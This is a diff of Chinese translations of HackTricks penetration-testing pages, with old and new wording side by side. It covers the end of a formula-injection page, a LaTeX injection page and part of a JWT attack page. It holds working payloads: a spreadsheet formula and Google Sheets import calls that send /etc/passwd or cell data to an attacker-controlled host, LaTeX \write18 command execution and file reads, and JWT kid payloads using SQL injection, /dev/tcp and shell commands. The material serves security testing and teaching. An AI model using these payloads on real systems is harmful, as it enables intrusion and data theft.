* WEBSERVICE – 将会对这个不存在的 DNS 名称发出请求,我们可以在我们控制的 DNS 权威名称服务器上解析日志(或运行 tcpdump 等)
|
||||
* ‘file:///etc/passwd’#$passwd.A19 – 从本地 /etc/passwd 文件中读取第19行
|
||||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – 对返回的数据进行 URL 编码
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – 类似于子字符串,从第一个字符读取数据到第41个字符 - 限制 DNS 主机名长度的非常方便的方法(FQDN 限制为254个字符,标签限制为63个字符,即子域)
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – 用破折号替换所有 %(URL 编码的特殊字符)的实例 - 确保仅使用有效的 DNS 字符
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – 将文件输出(在进行上述处理后)与 FQDN(我们可以访问的域的权威主机)连接起来
|
||||
* WEBSERVICE – 将请求发送到此不存在的 DNS 名称,然后我们可以解析 DNS 权威名称服务器上的日志(或运行 tcpdump 等),该服务器由我们控制
|
||||
|
||||
### Google Sheets OOB 数据泄露
|
||||
|
||||
首先,让我们介绍一些更有趣的函数。
|
||||
|
||||
**CONCATENATE**: 将字符串连接在一起。
|
||||
**CONCATENATE**: 将字符串追加到一起。
|
||||
```
|
||||
=CONCATENATE(A2:E2)
|
||||
```
|
||||
**IMPORTXML**:导入来自各种结构化数据类型的数据,包括XML、HTML、CSV、TSV以及RSS和ATOM XML feeds。
|
||||
**IMPORTXML**: 从各种结构化数据类型(包括 XML、HTML、CSV、TSV 以及 RSS 和 ATOM XML 订阅源)导入数据。
|
||||
```
|
||||
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
|
||||
```
|
||||
**IMPORTFEED**:导入RSS或ATOM feed。
|
||||
**IMPORTFEED**:导入一个RSS或ATOM源。
|
||||
```
|
||||
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
|
||||
```
|
||||
**IMPORTHTML**:从HTML页面中的表格或列表导入数据。
|
||||
**IMPORTHTML**: 从HTML页面中的表格或列表导入数据。
|
||||
```
|
||||
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
|
||||
```
|
||||
**IMPORTRANGE**:从指定的电子表格中导入一个单元格范围。
|
||||
**IMPORTRANGE**: 从指定的电子表格中导入一系列单元格。
|
||||
```
|
||||
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
|
||||
```
|
||||
**IMAGE**: 将图像插入单元格。
|
||||
**图片**: 将图片插入单元格中。
|
||||
```
|
||||
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
|
||||
```
|
||||
## LaTeX 注入
|
||||
## LaTeX注入
|
||||
|
||||
通常,您在互联网上找到的**将 LaTeX 代码转换为 PDF** 的服务器使用 **`pdflatex`**。\
|
||||
这个程序使用 3 个主要属性来(不)允许命令执行:
|
||||
通常,**将LaTeX代码转换为PDF的服务器**使用**`pdflatex`**。\
|
||||
该程序使用3个主要属性来(禁止)执行命令:
|
||||
|
||||
* **`--no-shell-escape`**: **禁用** `\write18{command}` 构造,即使它在 texmf.cnf 文件中被启用。
|
||||
* **`--shell-restricted`**: 与 `--shell-escape` 相同,但**限制**于一组'安全'的**预定义**\*\*命令 (\*\*在 Ubuntu 16.04 上,列表位于 `/usr/share/texmf/web2c/texmf.cnf`)。
|
||||
* **`--shell-escape`**: **启用** `\write18{command}` 构造。命令可以是任何 shell 命令。出于安全原因,通常不允许使用此构造。
|
||||
- **`--no-shell-escape`**:**禁用**`\write18{command}`结构,即使在texmf.cnf文件中启用了也是如此。
|
||||
- **`--shell-restricted`**:与`--shell-escape`相同,但**仅限于**一组**预定义**的\*\*命令(\*\*在Ubuntu 16.04中,列表位于`/usr/share/texmf/web2c/texmf.cnf`中)。
|
||||
- **`--shell-escape`**:**启用**`\write18{command}`结构。该命令可以是任何shell命令。出于安全原因,通常禁止使用此结构。
|
||||
|
||||
然而,还有其他方法可以执行命令,因此为了避免 RCE,使用 `--shell-restricted` 非常重要。
|
||||
然而,还有其他执行命令的方法,为了避免RCE,非常重要使用`--shell-restricted`。
|
||||
|
||||
### 读取文件 <a href="#read-file" id="read-file"></a>
|
||||
|
||||
您可能需要调整注入,使用包装器如 \[ 或 $。
|
||||
您可能需要使用包装器进行调整,如\[或$。
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -165,7 +166,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
\repeat
|
||||
\closein\file
|
||||
```
|
||||
### 写文件 <a href="#write-file" id="write-file"></a>
|
||||
### 写入文件 <a href="#write-file" id="write-file"></a>
|
||||
```bash
|
||||
\newwrite\outfile
|
||||
\openout\outfile=cmd.tex
|
||||
|
@ -174,7 +175,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### 命令执行 <a href="#command-execution" id="command-execution"></a>
|
||||
|
||||
命令的输入将被重定向到stdin,使用临时文件来获取它。
|
||||
命令的输入将被重定向到 stdin,请使用临时文件来获取它。
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
\input{output}
|
||||
|
@ -197,7 +198,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
如果您遇到任何LaTex错误,请考虑使用base64来获取没有错误字符的结果。
|
||||
如果遇到任何LaTex错误,请考虑使用base64来获取结果,以避免出现不良字符。
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -209,14 +210,14 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### 跨站脚本攻击 <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
|
||||
来自 [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
来自[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
```bash
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
```
|
||||
## Ghostscript 注入
|
||||
## Ghostscript注入
|
||||
|
||||
TODO: 从 [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) 创建一个摘要,包含最相关的信息和技术。
|
||||
TODO: 从[https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)中提取出更相关的信息和技术,创建一个摘要。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -227,20 +228,20 @@ TODO: 从 [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https:
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到对你最重要的漏洞,以便更快修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,在你的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果你想在 HackTricks 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,64 +1,66 @@
|
|||
# JWT 漏洞(Json Web Tokens)
|
||||
# JWT漏洞(Json Web Tokens)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注我** [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (638) (3).png>)
|
||||
|
||||
**Bug bounty 小贴士**:**注册** **Intigriti**,一个由黑客创建的高级**漏洞赏金平台**!立即加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
|
||||
**赏金提示**:**注册**Intigriti,这是一家由黑客创建的高级**赏金平台**!立即加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**本文部分内容摘自:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWTs 渗透测试的绝佳工具作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**本文的部分内容基于这篇精彩的文章:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWT渗透测试工具的作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **快速获胜**
|
||||
### **快速成功**
|
||||
|
||||
运行 [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) 并选择 `All Tests!` 模式,等待绿色线条
|
||||
运行[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool),选择`All Tests!`模式,等待出现绿色行。
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
如果你运气好,该工具会找到某些情况,其中web应用程序检查JWT的方式不正确:
|
||||
如果你很幸运,这个工具会发现一些情况,即 Web 应用程序在检查 JWT 时出现错误:
|
||||
|
||||
![](<../.gitbook/assets/image (435).png>)
|
||||
|
||||
然后,你可以在你的代理中搜索请求,或者使用jwt_tool转储该请求使用的JWT:
|
||||
然后,你可以在代理中搜索该请求,或使用 jwt_tool 软件来转储用于该请求的 JWT:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### 在不修改任何内容的情况下篡改数据
|
||||
|
||||
您可以只篡改数据,保持签名不变,并检查服务器是否在检查签名。尝试将您的用户名更改为“admin”举例。
|
||||
您可以仅篡改数据,保留签名不变,并检查服务器是否正在检查签名。尝试将您的用户名更改为"admin"。
|
||||
|
||||
#### **令牌是否被检查?**
|
||||
#### **令牌是否被验证?**
|
||||
|
||||
* 如果出现错误消息,则正在检查签名 - 阅读可能泄露敏感信息的任何详细错误信息。
|
||||
* 如果返回的页面不同,则正在检查签名。
|
||||
* 如果页面相同,则没有检查签名 - 是时候开始篡改有效载荷声明,看看您能做什么了!
|
||||
要检查JWT签名是否被验证:
|
||||
|
||||
- 错误消息表明正在进行验证;应查看详细错误中的敏感信息。
|
||||
- 返回页面的变化也表明正在进行验证。
|
||||
- 没有变化表明没有验证;这时可以尝试篡改有效载荷声明。
|
||||
|
||||
### 来源
|
||||
|
||||
检查令牌在您的代理请求历史中的起源位置。它应该在服务器上创建,而不是客户端。
|
||||
通过检查代理的请求历史记录,确定令牌是在服务器端生成还是在客户端生成。
|
||||
|
||||
* 如果它首次出现是从客户端发送的,则**密钥**可被客户端代码访问 - 寻找它!
|
||||
* 如果它首次出现是从服务器发送的,则一切正常。
|
||||
- 首次在客户端看到的令牌表明密钥可能暴露给了客户端代码,需要进一步调查。
|
||||
- 从服务器端生成的令牌表明是一个安全的过程。
|
||||
|
||||
### 有效期
|
||||
### 时长
|
||||
|
||||
检查令牌是否持续超过24小时... 也许它永不过期。如果有“exp”字段,请检查服务器是否正确处理它。
|
||||
检查令牌是否持续超过24小时...也许它永不过期。如果有一个"exp"字段,请检查服务器是否正确处理它。
|
||||
|
||||
### 暴力破解HMAC密钥
|
||||
|
||||
|
@ -66,96 +68,93 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
|
||||
### 将算法修改为None (CVE-2015-9235)
|
||||
|
||||
将使用的算法设置为“None”并移除签名部分。
|
||||
将使用的算法设置为"None"并移除签名部分。
|
||||
|
||||
使用Burp扩展名为“JSON Web Token”的功能来尝试这个漏洞,并更改JWT内的不同值(将请求发送到Repeater,在“JSON Web Token”标签中您可以修改令牌的值。您也可以选择将“Alg”字段的值设置为“None”)。
|
||||
使用Burp扩展程序调用"JSON Web Token"来尝试此漏洞,并更改JWT内部的不同值(将请求发送到Repeater,在"JSON Web Token"选项卡中可以修改令牌的值。您还可以选择将"Alg"字段的值设置为"None")。
|
||||
|
||||
### 将算法RS256(非对称)更改为HS256(对称)(CVE-2016-5431/CVE-2016-10555)
|
||||
### 将算法从RS256(非对称)更改为HS256(对称)(CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
算法HS256使用密钥来签名和验证每条消息。\
|
||||
算法RS256使用私钥来签名消息,并使用公钥进行认证。
|
||||
算法HS256使用密钥对每条消息进行签名和验证。\
|
||||
算法RS256使用私钥对消息进行签名,并使用公钥进行身份验证。
|
||||
|
||||
如果您将算法从RS256更改为HS256,后端代码将使用公钥作为密钥,然后使用HS256算法来验证签名。
|
||||
如果将算法从RS256更改为HS256,后端代码将使用公钥作为密钥,然后使用HS256算法来验证签名。
|
||||
|
||||
然后,使用公钥并将RS256更改为HS256,我们可以创建一个有效的签名。您可以执行以下操作来检索Web服务器的证书:
|
||||
然后,使用公钥并将RS256更改为HS256,我们可以创建一个有效的签名。您可以检索执行此操作的Web服务器的证书:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
### 在头部中嵌入新的公钥
|
||||
### 头部中的新公钥
|
||||
|
||||
攻击者在令牌的头部嵌入一个新的密钥,服务器使用这个新的密钥来验证签名(CVE-2018-0114)。
|
||||
攻击者在令牌的头部嵌入一个新密钥,服务器使用这个新密钥来验证签名(CVE-2018-0114)。
|
||||
|
||||
这可以通过 "JSON Web Tokens" Burp 扩展来完成。\
|
||||
(将请求发送到 Repeater,在 JSON Web Token 标签页中选择 "CVE-2018-0114" 并发送请求)。
|
||||
这可以通过"JSON Web Tokens" Burp扩展完成。\
|
||||
(将请求发送到Repeater,在JSON Web Token选项卡中选择"CVE-2018-0114",然后发送请求)。
|
||||
|
||||
### JWKS 欺骗
|
||||
### JWKS欺骗
|
||||
|
||||
如果令牌使用了 “jku” 头部声明,那么检查提供的 URL。这应该指向一个包含 JWKS 文件的 URL,JWKS 文件中包含了用于验证令牌的公钥。篡改令牌,将 jku 值指向你可以监控流量的网络服务。
|
||||
说明详细介绍了一种评估JWT令牌安全性的方法,特别是那些使用"jku"头声明的令牌。该声明应链接到一个包含令牌验证所需公钥的JWKS(JSON Web Key Set)文件。
|
||||
|
||||
如果你得到了 HTTP 交互,你现在知道服务器正在尝试从你提供的 URL 加载密钥。_使用 jwt\_tool 的 -S 标志以及 -u_ [_http://example.com_](http://example.com) _参数来生成一对新的密钥,注入你提供的 URL,生成包含公钥的 JWKS,并用私钥签署令牌_
|
||||
- **评估带有"jku"头的令牌**:
|
||||
- 验证"jku"声明的URL,确保它指向适当的JWKS文件。
|
||||
- 修改令牌的"jku"值,指向一个受控的Web服务,允许观察流量。
|
||||
|
||||
### Kid 问题
|
||||
- **监视HTTP交互**:
|
||||
- 观察HTTP请求到您指定的URL,指示服务器尝试从您提供的链接获取密钥。
|
||||
- 在此过程中使用`jwt_tool`时,关键是更新`jwtconf.ini`文件,将您个人的JWKS位置加入以便进行测试。
|
||||
|
||||
`kid` 是一个可选的头部声明,它包含了一个密钥标识符,当你有多个密钥来签署令牌并且需要查找正确的密钥来验证签名时特别有用。
|
||||
- **`jwt_tool`的命令**:
|
||||
- 执行以下命令使用`jwt_tool`模拟场景:
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_HERE -X s
|
||||
```
|
||||
|
||||
#### "kid" 问题 - 揭示密钥
|
||||
### Kid问题概述
|
||||
|
||||
如果在头部使用了 "kid" 声明,检查网站目录中是否有该文件或其变体。例如,如果 `"kid":"key/12345"`,那么在网站根目录下查找 _/key/12345_ 和 _/key/12345.pem_。
|
||||
一个可选的头声明称为`kid`用于识别特定密钥,在存在多个密钥用于令牌签名验证的环境中尤为重要。该声明有助于选择适当的密钥来验证令牌的签名。
|
||||
|
||||
#### "kid" 问题 - 路径遍历
|
||||
#### 通过"kid"揭示密钥
|
||||
|
||||
如果在头部使用了 "kid" 声明,检查是否可以使用文件系统中的不同文件。选择一个你可能能预测内容的文件,或者尝试使用 `"kid":"/dev/tcp/yourIP/yourPort"` 来测试连通性,甚至一些 **SSRF** 载荷...\
|
||||
_使用 jwt\_tool 的 -T 标志来篡改 JWT 并更改 kid 声明的值,然后选择保持原始签名_
|
||||
当头部中存在`kid`声明时,建议搜索相应文件或其变体的Web目录。例如,如果指定了`"kid":"key/12345"`,则应在Web根目录中搜索文件_/key/12345_和_/key/12345.pem_。
|
||||
|
||||
#### 使用"kid"进行路径遍历
|
||||
|
||||
`kid`声明也可能被利用来浏览文件系统,潜在地允许选择任意文件。可以通过将`kid`值更改为目标特定文件或服务来测试连通性或执行服务器端请求伪造(SSRF)攻击。通过在jwt_tool中使用`-T`标志来篡改JWT以更改`kid`值同时保留原始签名,如下所示:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
使用主机内已知内容的文件,您也可以伪造有效的JWT。例如,在linux系统中,文件`/proc/sys/kernel/randomize_va_space`的值设置为**2**。因此,将该**路径**放入"**kid**"参数中,并使用"**2**"作为**对称密码**来生成JWT,您应该能够生成一个有效的新JWT。
|
||||
通过针对具有可预测内容的文件,可以伪造有效的JWT。例如,在Linux系统中,已知包含值**2**的`/proc/sys/kernel/randomize_va_space`文件可以在`kid`参数中使用**2**作为对称密码用于JWT生成。
|
||||
|
||||
#### "kid"问题 - SQL注入
|
||||
#### 通过"kid"进行SQL注入
|
||||
|
||||
在一个使用"kid"内容从数据库检索密码的场景中,您可以将"kid"参数内的有效载荷更改为:`non-existent-index' UNION SELECT 'ATTACKER';-- -`,然后使用密钥`ATTACKER`对JWT进行签名。
|
||||
如果`kid`声明的内容用于从数据库中获取密码,则可以通过修改`kid`负载来实现SQL注入。一个使用SQL注入修改JWT签名过程的示例负载包括:
|
||||
|
||||
#### "kid"问题 - 操作系统注入
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
在一个"kid"参数包含密钥文件路径,并且该路径**在执行的命令中使用**的场景中,您可以使用如下有效载荷获得RCE并暴露私钥:`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
这种修改会强制使用已知的秘钥`ATTACKER`进行JWT签名。
|
||||
|
||||
### 杂项攻击
|
||||
#### 通过"kid"进行OS注入
|
||||
|
||||
以下是已知的弱点,应进行测试。
|
||||
当`kid`参数指定在命令执行上下文中使用的文件路径时,可能会导致远程代码执行(RCE)漏洞。通过向`kid`参数注入命令,可以暴露私钥。一个用于实现RCE和密钥暴露的示例负载是:
|
||||
|
||||
**跨服务中继攻击**
|
||||
|
||||
一些Web应用程序使用可信的JWT‘服务’来为它们生成和管理令牌。在过去,有些情况发生了,为JWT服务的一个客户端生成的令牌实际上可以被JWT服务的另一个客户端接受。\
|
||||
如果您观察到JWT通过第三方服务发行或更新,那么值得识别您是否可以在该服务的另一个客户端上使用相同的用户名/电子邮件注册账户。如果可以,尝试取出该令牌并在请求目标时重放它。它被接受了吗?
|
||||
|
||||
* 如果您的令牌被接受,那么您可能有一个关键问题,允许您冒充任何用户的账户。但是,请注意,如果您在第三方应用程序上注册,您可能需要寻求更广泛的测试权限,以防它进入法律灰色地带!
|
||||
|
||||
**是否检查exp?**
|
||||
|
||||
“exp”有效载荷声明用于检查令牌的过期时间。由于JWT通常在没有会话信息的情况下使用,因此需要小心处理 - 在许多情况下,捕获并重放其他人的JWT将允许您伪装成该用户。\
|
||||
JWT重放攻击的一个缓解措施(JWT RFC建议)是使用“exp”声明为令牌设置一个过期时间。在应用程序中设置相关检查也很重要,以确保处理此值并在令牌过期时拒绝它。如果令牌包含“exp”声明,并且测试时间允许 - 尝试存储令牌并在过期时间过后重放它。_使用jwt\_tool的-R标志来读取令牌的内容,其中包括时间戳解析和过期检查(时间戳为UTC)_
|
||||
|
||||
* 如果令牌在应用程序中仍然有效,那么这可能是一个安全风险,因为令牌可能永远不会过期。
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### x5u和jku
|
||||
|
||||
#### jku
|
||||
|
||||
jku代表**JWK Set URL**。\
|
||||
如果令牌使用“**jku**”**Header**声明,那么**检查提供的URL**。这应该指向一个包含JWKS文件的URL,该文件持有用于验证令牌的公钥。篡改令牌,将jku值指向您可以监控流量的Web服务。
|
||||
如果令牌使用“**jku**” **Header**声明,则**检查提供的URL**。这应该指向包含用于验证令牌的公钥的JWKS文件的URL。篡改令牌以将jku值指向您可以监视流量的Web服务。
|
||||
|
||||
首先,您需要创建一个带有新的私钥和公钥的新证书
|
||||
首先,您需要使用新的私钥和公钥创建新证书。
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
```markdown
|
||||
然后您可以使用例如 [**jwt.io**](https://jwt.io) 来使用**创建的公钥和私钥创建新的JWT,并将参数jku指向创建的证书。** 为了创建有效的jku证书,您可以下载原始证书并更改所需的参数。
|
||||
然后,您可以使用例如[**jwt.io**](https://jwt.io)来使用**创建的公钥和私钥,并将参数jku指向创建的证书**来创建新的JWT。为了创建有效的jku证书,您可以下载原始证书并更改所需的参数。
|
||||
|
||||
您可以使用以下方法从公共证书获取参数 "e" 和 "n":
|
||||
```
|
||||
您可以从公钥证书中获取参数"e"和"n":
|
||||
```bash
|
||||
from Crypto.PublicKey import RSA
|
||||
fp = open("publickey.crt", "r")
|
||||
|
@ -166,39 +165,39 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL。一个指向一组以 PEM 形式编码的 X.509(证书格式标准)公共证书的 URI。该组中的第一个证书必须是用来签署这个 JWT 的证书。随后的证书每个都签署前一个,从而完成证书链。X.509 在 RFC 52807 中定义。传输证书时需要传输安全保护。
|
||||
X.509 URL。指向一组以PEM格式编码的X.509(证书格式标准)公共证书的URI。该组中的第一个证书必须是用于签署此JWT的证书。随后的每个证书都会签署前一个证书,从而完成证书链。X.509在RFC 52807中定义。需要传输安全性来传输证书。
|
||||
|
||||
尝试**将此头部更改为您控制下的 URL**,并检查是否收到任何请求。在这种情况下,您**可以篡改 JWT**。
|
||||
尝试**将此标头更改为您控制的URL**并检查是否收到任何请求。在这种情况下,您**可以篡改JWT**。
|
||||
|
||||
要伪造一个由您控制的证书签名的新令牌,您需要创建证书并提取公钥和私钥:
|
||||
要使用由您控制的证书伪造新令牌,您需要创建证书并提取公钥和私钥:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
然后你可以使用例如 [**jwt.io**](https://jwt.io) 来创建新的 JWT,并使用**创建的公钥和私钥,并将 x5u 参数指向创建的证书 .crt。**
|
||||
然后,您可以使用例如 [**jwt.io**](https://jwt.io) 来使用**创建的公钥和私钥,并将参数 x5u 指向创建的证书 .crt** 来创建新的 JWT。
|
||||
|
||||
![](<../.gitbook/assets/image (439).png>)
|
||||
|
||||
你还可以利用这两个漏洞**进行 SSRF 攻击**。
|
||||
您还可以滥用这两个漏洞**进行 SSRF 攻击**。
|
||||
|
||||
#### x5c
|
||||
|
||||
此参数可能包含**以 base64 编码的证书**:
|
||||
该参数可能包含**以 base64 编码的证书**:
|
||||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
如果攻击者**生成一个自签名证书**,并使用相应的私钥创建一个伪造的令牌,并替换 "x5c" 参数的值为新生成的证书,并修改其他参数,即 n、e 和 x5t,那么本质上伪造的令牌将被服务器接受。
|
||||
如果攻击者**生成自签名证书**,并使用相应的私钥创建伪造令牌,然后将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t,那么伪造的令牌基本上会被服务器接受。
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
### 嵌入式公钥 (CVE-2018-0114)
|
||||
|
||||
